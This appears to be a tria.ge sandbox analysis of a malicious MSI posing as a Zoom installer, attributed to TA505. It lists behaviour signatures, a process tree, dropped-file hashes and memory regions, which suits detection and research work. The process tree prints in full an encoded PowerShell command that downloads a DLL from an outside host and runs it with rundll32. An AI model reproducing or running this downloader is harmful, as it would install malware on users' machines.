Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    129s
  • max time network
    44s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    23/01/2023, 08:34

General

  • Target

    ZoomSetup_26b30163.msi

  • Size

    11.0MB

  • MD5

    c4e9e9a06001c6197de2ea2fec3d2214

  • SHA1

    369006350f6b4c43c7f51a90deb5e73a20156b55

  • SHA256

    e4edb4cc8f35c7bab6e89774a279593d492714fce9865e53879f87d3704ad96c

  • SHA512

    00008fd26c3047afbbc73fc19d20700861e9501b1c9509b7abcfd218a814a2b0aa24fa934338942aee809ca53240b539e77f6d91013cae0eee076282e4047156

  • SSDEEP

    196608:6e9dQDU9N3glGcBo/6xDD7yLEY2sNd0nOn1q1eUD9p8b3lWG7uCMkCA:N8g91gGcBD7yLfmz1rGYG6CMi

Score
10/10

Malware Config

Signatures

  • TA505

    Cybercrime group active since 2015, responsible for families like Dridex and Locky.

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ZoomSetup_26b30163.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2020
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Loads dropped DLL
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1944
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6385AD85F49F5FDCDD548927DEB157D9
      2⤵
      • Loads dropped DLL
      PID:1440
    • C:\Windows\Installer\MSI630F.tmp
      "C:\Windows\Installer\MSI630F.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
      2⤵
      • Executes dropped EXE
      PID:972
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
    1⤵
    • Blocklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1460
    • C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\ProgramData\1c5b0a6e.dat",DllRegisterServer
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1952
      • C:\Windows\SysWOW64\rundll32.exe
        "C:\Windows\system32\rundll32.exe" "C:\ProgramData\1c5b0a6e.dat",DllRegisterServer
        3⤵
        • Deletes itself
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1396
        • C:\Windows\SysWOW64\explorer.exe
          explorer.exe "C:\Users\Admin\AppData\Local\Temp\3E68.tmp.bat"
          4⤵
            PID:1800
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1772
      • C:\Windows\system32\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\3E68.tmp.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\system32\rundll32.exe
          rundll32.exe "C:\ProgramData\1c5b0a6e.dat",DllRegisterServer
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1624
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe "C:\ProgramData\1c5b0a6e.dat",DllRegisterServer
            4⤵
            • Loads dropped DLL
            PID:836

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\1c5b0a6e.dat

      Filesize

      110KB

      MD5

      26ee1719acee05f44968c521a3f48661

      SHA1

      4fe62a9264db1245ea9bc56bdc377bf47e09cee6

      SHA256

      ecbe0a4568bee43c0447d08221b2d62d6f9378f6a109746ca44ab3872e2d8ea3

      SHA512

      085434b6d62fb03b2f64b49af81d2a303e40577631ef35962fd79841c1f446d40350234ca424ce4a0bd36fc71b21e52f5aa0f8920ec3c1e8e333e5c5533f8edf

    • C:\Users\Admin\AppData\Local\Temp\3E68.tmp.bat

      Filesize

      87B

      MD5

      6b343ea4dd4a78cc15ddf0a679b49539

      SHA1

      0b3e3ad1f5ee715ca41fa8497638eeea880fbe2f

      SHA256

      dd099c5fd813c9d467ef8abdf972ce14d6f2b276ec87beacd70d84676a47dd90

      SHA512

      445093d1bca93c3ba2be5790c35c5ad667a54e79d122d20e2b659784b070602f0bf22766c945330e8162b12a8241706d8cc0fb5aebf7e82721c752308bb391d2

    • C:\Windows\Installer\MSI5284.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • C:\Windows\Installer\MSI57C3.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • C:\Windows\Installer\MSI5850.tmp

      Filesize

      927KB

      MD5

      b27a994e40bee85c14d3227ea91696a9

      SHA1

      609a959b0f47865803e2c45a8bc4390f1d08b57a

      SHA256

      ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190

      SHA512

      66b2cfa6b7c3cf793f478bc69e084e4ea008dab4101eaf8ce3143291d94dbcebedccd29c309d56185261fdbcccd30697cd898bf8ce8e1f9dcdf12fc2037d1542

    • C:\Windows\Installer\MSI593B.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • C:\Windows\Installer\MSI630F.tmp

      Filesize

      549KB

      MD5

      6aac525cfcdd6d3978c451bba2bb9cb3

      SHA1

      417a1c4312bdaadf832acf153c423906365fb027

      SHA256

      9dbaf4e4632e70652ff72bb7890c35e3b9cd7a6939b29b5eeec0c636d098c64e

      SHA512

      3c39487dbfdb6ee84cc5eddd5e8e9d1610ffb9fe55913e47f126b47d6fd5bc04b691a9bb765963d998b3db92d87192a4a91807bbe7559bfc4804a7c2beb32f42

    • \ProgramData\1c5b0a6e.dat

      Filesize

      110KB

      MD5

      26ee1719acee05f44968c521a3f48661

      SHA1

      4fe62a9264db1245ea9bc56bdc377bf47e09cee6

      SHA256

      ecbe0a4568bee43c0447d08221b2d62d6f9378f6a109746ca44ab3872e2d8ea3

      SHA512

      085434b6d62fb03b2f64b49af81d2a303e40577631ef35962fd79841c1f446d40350234ca424ce4a0bd36fc71b21e52f5aa0f8920ec3c1e8e333e5c5533f8edf

    • \ProgramData\1c5b0a6e.dat

      Filesize

      110KB

      MD5

      26ee1719acee05f44968c521a3f48661

      SHA1

      4fe62a9264db1245ea9bc56bdc377bf47e09cee6

      SHA256

      ecbe0a4568bee43c0447d08221b2d62d6f9378f6a109746ca44ab3872e2d8ea3

      SHA512

      085434b6d62fb03b2f64b49af81d2a303e40577631ef35962fd79841c1f446d40350234ca424ce4a0bd36fc71b21e52f5aa0f8920ec3c1e8e333e5c5533f8edf

    • \Windows\Installer\MSI5284.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • \Windows\Installer\MSI57C3.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • \Windows\Installer\MSI5850.tmp

      Filesize

      927KB

      MD5

      b27a994e40bee85c14d3227ea91696a9

      SHA1

      609a959b0f47865803e2c45a8bc4390f1d08b57a

      SHA256

      ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190

      SHA512

      66b2cfa6b7c3cf793f478bc69e084e4ea008dab4101eaf8ce3143291d94dbcebedccd29c309d56185261fdbcccd30697cd898bf8ce8e1f9dcdf12fc2037d1542

    • \Windows\Installer\MSI593B.tmp

      Filesize

      550KB

      MD5

      bda991d64e27606ac1d3abb659a0b33b

      SHA1

      a87ee1430f86effa5488ae654704c40aca3424c6

      SHA256

      ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca

      SHA512

      94fe1eadd4b4325fc1a8c769180c6ecf92e2dbf9f8262d6746fada603929977f3d40100ba84cffb4074c6900a2b2d307355e6a5116e6f16d9d3173fa17ad461f

    • \Windows\Installer\MSI630F.tmp

      Filesize

      549KB

      MD5

      6aac525cfcdd6d3978c451bba2bb9cb3

      SHA1

      417a1c4312bdaadf832acf153c423906365fb027

      SHA256

      9dbaf4e4632e70652ff72bb7890c35e3b9cd7a6939b29b5eeec0c636d098c64e

      SHA512

      3c39487dbfdb6ee84cc5eddd5e8e9d1610ffb9fe55913e47f126b47d6fd5bc04b691a9bb765963d998b3db92d87192a4a91807bbe7559bfc4804a7c2beb32f42

    • memory/972-69-0x0000000000300000-0x0000000000310000-memory.dmp

      Filesize

      64KB

    • memory/1440-57-0x0000000074D81000-0x0000000074D83000-memory.dmp

      Filesize

      8KB

    • memory/1460-72-0x000007FEF25E0000-0x000007FEF313D000-memory.dmp

      Filesize

      11.4MB

    • memory/1460-76-0x0000000002A74000-0x0000000002A77000-memory.dmp

      Filesize

      12KB

    • memory/1460-77-0x0000000002A7B000-0x0000000002A9A000-memory.dmp

      Filesize

      124KB

    • memory/1460-74-0x0000000002A7B000-0x0000000002A9A000-memory.dmp

      Filesize

      124KB

    • memory/1460-73-0x0000000002A74000-0x0000000002A77000-memory.dmp

      Filesize

      12KB

    • memory/1460-71-0x000007FEF3140000-0x000007FEF3B63000-memory.dmp

      Filesize

      10.1MB

    • memory/1800-84-0x0000000074231000-0x0000000074233000-memory.dmp

      Filesize

      8KB

    • memory/2020-54-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

      Filesize

      8KB